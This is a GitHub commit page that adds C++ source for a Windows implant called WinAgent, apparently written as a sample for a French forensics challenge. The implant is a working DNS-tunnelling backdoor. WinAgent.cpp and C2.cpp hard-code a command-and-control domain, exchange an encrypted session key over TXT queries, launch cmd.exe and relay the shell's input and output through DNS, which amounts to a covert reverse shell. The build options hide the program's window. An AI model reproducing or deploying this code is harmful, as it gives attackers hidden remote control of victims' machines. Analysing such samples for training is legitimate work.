-
Notifications
You must be signed in to change notification settings - Fork 8
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
Showing
39 changed files
with
1,303 additions
and
1 deletion.
There are no files selected for viewing
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file not shown.
Binary file not shown.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,2 @@ | ||
out | ||
.vs |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,15 @@ | ||
# CMakeList.txt : fichier projet CMake de niveau supérieur, effectuez une configuration globale | ||
# et incluez les sous-projets ici. | ||
# | ||
cmake_minimum_required (VERSION 3.8) | ||
|
||
# Enable Hot Reload for MSVC compilers if supported. | ||
if (POLICY CMP0141) | ||
cmake_policy(SET CMP0141 NEW) | ||
set(CMAKE_MSVC_DEBUG_INFORMATION_FORMAT "$<IF:$<AND:$<C_COMPILER_ID:MSVC>,$<CXX_COMPILER_ID:MSVC>>,$<$<CONFIG:Debug,RelWithDebInfo>:EditAndContinue>,$<$<CONFIG:Debug,RelWithDebInfo>:ProgramDatabase>>") | ||
endif() | ||
|
||
project ("WinAgent") | ||
|
||
# Incluez les sous-projets. | ||
add_subdirectory ("WinAgent") |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,69 @@ | ||
#include "C2.h" | ||
#include "base64.h" | ||
#include <windns.h> | ||
#include <iostream> | ||
#include "utils.h" | ||
|
||
using std::cout; | ||
using std::endl; | ||
using std::to_string; | ||
|
||
C2::C2(const string baseDomain) { | ||
|
||
this->session_id = 0; | ||
this->baseDomain = baseDomain; | ||
vector<BYTE> emptyVector; | ||
emptyVector.clear(); | ||
vector<BYTE> data = this->query(emptyVector, false); | ||
|
||
unsigned long session_id_network = *((unsigned long*)&data[0]); | ||
this->session_id = ntohl(session_id_network); | ||
|
||
vector<BYTE> byteSessionKey = this->crypto.getProtectedSessionKey(); | ||
string sessionKey = base32_encode_nopad(&byteSessionKey[0], byteSessionKey.size()); | ||
int stage = 0; | ||
for (int index = 0; index < sessionKey.size(); index += 63) { | ||
string response = this->request(sessionKey.substr(index, min(sessionKey.size() - index, 63)) + "." + to_string(stage++) + "." + to_string(this->session_id)); | ||
if (response != "OK") exit(1); | ||
} | ||
|
||
} | ||
|
||
string C2::request(const string subDomain) { | ||
|
||
string domain = subDomain + "." + this->baseDomain; | ||
|
||
// Make the request | ||
PDNS_RECORD dnsResponse; | ||
DNS_STATUS dnsStatus = DnsQuery_A( | ||
domain.c_str(), | ||
DNS_TYPE_TEXT, | ||
DNS_QUERY_BYPASS_CACHE, | ||
NULL, | ||
&dnsResponse, | ||
NULL); | ||
if (dnsStatus) { | ||
exit(1); | ||
} | ||
if (!dnsResponse || dnsResponse->Data.TXT.dwStringCount != 1) { | ||
exit(1); | ||
} | ||
string responseText = dnsResponse->Data.TXT.pStringArray[0]; | ||
DnsRecordListFree(dnsResponse); | ||
|
||
return responseText; | ||
} | ||
|
||
vector<BYTE> C2::query(const vector<BYTE> data, bool encrypt) { | ||
vector<BYTE> payload = data; | ||
long long timestamp = getTimeMillisecondes(); | ||
BYTE* x = (BYTE*)×tamp; | ||
for (int i = 0; i < 8; i++) payload.insert(payload.begin(), *(x++)); | ||
if (encrypt) payload = this->crypto.encrypt(payload); | ||
string base32payload = base32_encode_nopad(&payload[0], payload.size()); | ||
string domain = base32payload + "." + to_string(this->session_id); | ||
string responseText = request(domain); | ||
vector<BYTE> response = base64_decode(responseText); | ||
if (encrypt) response = this->crypto.decrypt(response); | ||
return response; | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,26 @@ | ||
#ifndef C2_H | ||
#define C2_H | ||
|
||
#include <string> | ||
#include <Windows.h> | ||
#include <vector> | ||
#include "crypto.h" | ||
|
||
using std::string; | ||
using std::vector; | ||
|
||
class C2 { | ||
|
||
string baseDomain; | ||
unsigned long session_id; | ||
CryptoSession crypto; | ||
|
||
public: | ||
|
||
C2(const string baseDomain); | ||
vector<BYTE> query(const vector<BYTE> data, bool encrypt); | ||
string request(const string subDomain); | ||
|
||
}; | ||
|
||
#endif // !C2_H |
19 changes: 19 additions & 0 deletions
19
AnalyseForensique/LeCracken/Malware/Agent/WinAgent/CMakeLists.txt
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,19 @@ | ||
# CMakeList.txt : projet CMake pour WinAgent, incluez la source et définissez | ||
# la logique spécifique au projet ici. | ||
# | ||
|
||
# Ajoutez une source à l'exécutable de ce projet. | ||
|
||
add_link_options( | ||
/SUBSYSTEM:WINDOWS | ||
/DYNAMICBASE | ||
/MACHINE:X64 | ||
) | ||
|
||
add_executable (WinAgent "WinAgent.cpp" "WinAgent.h" "C2.cpp" "C2.h" "base64.cpp" "base64.h" "utils.cpp" "utils.h" "subprocess.cpp" "subprocess.h" "crypto.cpp" "crypto.h" agent.rc) | ||
target_link_libraries(WinAgent dnsapi.lib Ws2_32.lib Bcrypt.lib Crypt32.lib) | ||
|
||
if (CMAKE_VERSION VERSION_GREATER 3.12) | ||
set_property(TARGET WinAgent PROPERTY CXX_STANDARD 20) | ||
endif() | ||
# TODO: Ajoutez des tests et installez des cibles si nécessaire. |
49 changes: 49 additions & 0 deletions
49
AnalyseForensique/LeCracken/Malware/Agent/WinAgent/WinAgent.cpp
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,49 @@ | ||
// MalwareAgent.cpp : définit le point d'entrée de l'application. | ||
// | ||
|
||
#include "WinAgent.h" | ||
#include "subprocess.h" | ||
#include <vector> | ||
#include "crypto.h" | ||
|
||
#define SEND_BUFFER_LENGTH 22 | ||
|
||
using namespace std; | ||
|
||
void runSubprocess(C2 c2, string command) { | ||
Subprocess shell = Subprocess(command); | ||
BYTE sendBuffer[SEND_BUFFER_LENGTH]; | ||
string welcomeString = "New process PID " + to_string(shell.getProcessId()) + "\n"; | ||
const char* welcome = welcomeString.c_str(); | ||
vector<BYTE> response = c2.query(vector<BYTE>(welcome, welcome + strlen(welcome)), true); | ||
bool poll = false; | ||
while (true) { | ||
bool sleep = true; | ||
if (response.size()) { | ||
shell.write(&response[0], response.size()); | ||
Sleep(10); | ||
sleep = false; | ||
} | ||
size_t read = 0; | ||
read = shell.read(sendBuffer, SEND_BUFFER_LENGTH); | ||
if (read > 0 || poll) { | ||
response = c2.query(vector<BYTE>(sendBuffer, sendBuffer + read), true); | ||
sleep = false; | ||
poll = false; | ||
} | ||
|
||
if (!shell.isAlive()) break; | ||
if (sleep) { | ||
Sleep(1000); | ||
poll = true; | ||
} | ||
} | ||
const char* bye = "Process has exited."; | ||
c2.query(vector<BYTE>(bye, bye + strlen(bye)), true); | ||
} | ||
|
||
int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPTSTR lpCmdLine, int cmdShow) { | ||
C2 c2 = C2("cxu5zdk80j3rtqqm1xk5nikxitq2ub.xyz"); | ||
runSubprocess(c2, "cmd.exe"); | ||
return 0; | ||
} |
8 changes: 8 additions & 0 deletions
8
AnalyseForensique/LeCracken/Malware/Agent/WinAgent/WinAgent.h
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,8 @@ | ||
// MalwareAgent.h : fichier Include pour les fichiers Include système standard, | ||
// ou les fichiers Include spécifiques aux projets. | ||
|
||
#pragma once | ||
|
||
#include <windows.h> | ||
#include <iostream> | ||
#include "C2.h" |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1 @@ | ||
IDI_ICON1 ICON DISCARDABLE "icon.ico" |
142 changes: 142 additions & 0 deletions
142
AnalyseForensique/LeCracken/Malware/Agent/WinAgent/base64.cpp
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,142 @@ | ||
#include "base64.h" | ||
#include <iostream> | ||
|
||
static const std::string base64_chars = | ||
"ABCDEFGHIJKLMNOPQRSTUVWXYZ" | ||
"abcdefghijklmnopqrstuvwxyz" | ||
"0123456789+/"; | ||
|
||
static const std::string base32_chars = | ||
"ABCDEFGHIJKLMNOPQRSTUVWXYZ" | ||
"234567"; | ||
|
||
|
||
static inline bool is_base64(BYTE c) { | ||
return (isalnum(c) || (c == '+') || (c == '/')); | ||
} | ||
|
||
std::string base64_encode(BYTE const* buf, unsigned int bufLen) { | ||
std::string ret; | ||
int i = 0; | ||
int j = 0; | ||
BYTE char_array_3[3]; | ||
BYTE char_array_4[4]; | ||
|
||
while (bufLen--) { | ||
char_array_3[i++] = *(buf++); | ||
if (i == 3) { | ||
char_array_4[0] = (char_array_3[0] & 0xfc) >> 2; | ||
char_array_4[1] = ((char_array_3[0] & 0x03) << 4) + ((char_array_3[1] & 0xf0) >> 4); | ||
char_array_4[2] = ((char_array_3[1] & 0x0f) << 2) + ((char_array_3[2] & 0xc0) >> 6); | ||
char_array_4[3] = char_array_3[2] & 0x3f; | ||
|
||
for (i = 0; (i < 4); i++) | ||
ret += base64_chars[char_array_4[i]]; | ||
i = 0; | ||
} | ||
} | ||
|
||
if (i) | ||
{ | ||
for (j = i; j < 3; j++) | ||
char_array_3[j] = '\0'; | ||
|
||
char_array_4[0] = (char_array_3[0] & 0xfc) >> 2; | ||
char_array_4[1] = ((char_array_3[0] & 0x03) << 4) + ((char_array_3[1] & 0xf0) >> 4); | ||
char_array_4[2] = ((char_array_3[1] & 0x0f) << 2) + ((char_array_3[2] & 0xc0) >> 6); | ||
char_array_4[3] = char_array_3[2] & 0x3f; | ||
|
||
for (j = 0; (j < i + 1); j++) | ||
ret += base64_chars[char_array_4[j]]; | ||
|
||
while ((i++ < 3)) | ||
ret += '='; | ||
} | ||
|
||
return ret; | ||
} | ||
|
||
std::vector<BYTE> base64_decode(std::string const& encoded_string) { | ||
int in_len = encoded_string.size(); | ||
int i = 0; | ||
int j = 0; | ||
int in_ = 0; | ||
BYTE char_array_4[4], char_array_3[3]; | ||
std::vector<BYTE> ret; | ||
|
||
while (in_len-- && (encoded_string[in_] != '=') && is_base64(encoded_string[in_])) { | ||
char_array_4[i++] = encoded_string[in_]; in_++; | ||
if (i == 4) { | ||
for (i = 0; i < 4; i++) | ||
char_array_4[i] = base64_chars.find(char_array_4[i]); | ||
|
||
char_array_3[0] = (char_array_4[0] << 2) + ((char_array_4[1] & 0x30) >> 4); | ||
char_array_3[1] = ((char_array_4[1] & 0xf) << 4) + ((char_array_4[2] & 0x3c) >> 2); | ||
char_array_3[2] = ((char_array_4[2] & 0x3) << 6) + char_array_4[3]; | ||
|
||
for (i = 0; (i < 3); i++) | ||
ret.push_back(char_array_3[i]); | ||
i = 0; | ||
} | ||
} | ||
|
||
if (i) { | ||
for (j = i; j < 4; j++) | ||
char_array_4[j] = 0; | ||
|
||
for (j = 0; j < 4; j++) | ||
char_array_4[j] = base64_chars.find(char_array_4[j]); | ||
|
||
char_array_3[0] = (char_array_4[0] << 2) + ((char_array_4[1] & 0x30) >> 4); | ||
char_array_3[1] = ((char_array_4[1] & 0xf) << 4) + ((char_array_4[2] & 0x3c) >> 2); | ||
char_array_3[2] = ((char_array_4[2] & 0x3) << 6) + char_array_4[3]; | ||
|
||
for (j = 0; (j < i - 1); j++) ret.push_back(char_array_3[j]); | ||
} | ||
|
||
return ret; | ||
} | ||
|
||
|
||
std::string base32_encode_nopad(BYTE const* buf, unsigned int bufLen) { | ||
std::string ret; | ||
int i = 0; | ||
int j = 0; | ||
BYTE char_array_5[5]; | ||
BYTE char_array_8[8]; | ||
|
||
while (bufLen--) { | ||
char_array_5[i++] = *(buf++); | ||
if (i == 5) { | ||
char_array_8[0] = (char_array_5[0] & 0xf8) >> 3; | ||
char_array_8[1] = ((char_array_5[0] & 0x07) << 2) + ((char_array_5[1] & 0xc0) >> 6); | ||
char_array_8[2] = (char_array_5[1] & 0x3e) >> 1; | ||
char_array_8[3] = ((char_array_5[1] & 0x01) << 4) + ((char_array_5[2] & 0xf0) >> 4); | ||
char_array_8[4] = ((char_array_5[2] & 0x0f) << 1) + ((char_array_5[3] & 0x80) >> 7); | ||
char_array_8[5] = (char_array_5[3] & 0x7c) >> 2; | ||
char_array_8[6] = ((char_array_5[3] & 0x03) << 3) + ((char_array_5[4] & 0xe0) >> 5); | ||
char_array_8[7] = char_array_5[4] & 0x1f; | ||
|
||
for (i = 0; i < 8; i++) ret += base32_chars[char_array_8[i]]; | ||
|
||
i = 0; | ||
} | ||
} | ||
|
||
if (i) { | ||
for (j = i; j < 5; j++) char_array_5[j] = 0; | ||
|
||
char_array_8[0] = (char_array_5[0] & 0xf8) >> 3; | ||
char_array_8[1] = ((char_array_5[0] & 0x07) << 2) + ((char_array_5[1] & 0xc0) >> 6); | ||
char_array_8[2] = (char_array_5[1] & 0x3e) >> 1; | ||
char_array_8[3] = ((char_array_5[1] & 0x01) << 4) + ((char_array_5[2] & 0xf0) >> 4); | ||
char_array_8[4] = ((char_array_5[2] & 0x0f) << 1) + ((char_array_5[3] & 0x80) >> 7); | ||
char_array_8[5] = (char_array_5[3] & 0x7c) >> 2; | ||
char_array_8[6] = ((char_array_5[3] & 0x03) << 3) + ((char_array_5[4] & 0xe0) >> 5); | ||
char_array_8[7] = char_array_5[4] & 0x1f; | ||
|
||
for (j = 0; (j < i * 8 / 5 + 1); j++) ret += base32_chars[char_array_8[j]]; | ||
} | ||
|
||
return ret; | ||
} |
13 changes: 13 additions & 0 deletions
13
AnalyseForensique/LeCracken/Malware/Agent/WinAgent/base64.h
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,13 @@ | ||
#ifndef _BASE64_H_ | ||
#define _BASE64_H_ | ||
|
||
#include <vector> | ||
#include <string> | ||
|
||
typedef unsigned char BYTE; | ||
|
||
std::string base64_encode(BYTE const* buf, unsigned int bufLen); | ||
std::vector<BYTE> base64_decode(std::string const&); | ||
std::string base32_encode_nopad(BYTE const* buf, unsigned int bufLen); | ||
|
||
#endif |
Oops, something went wrong.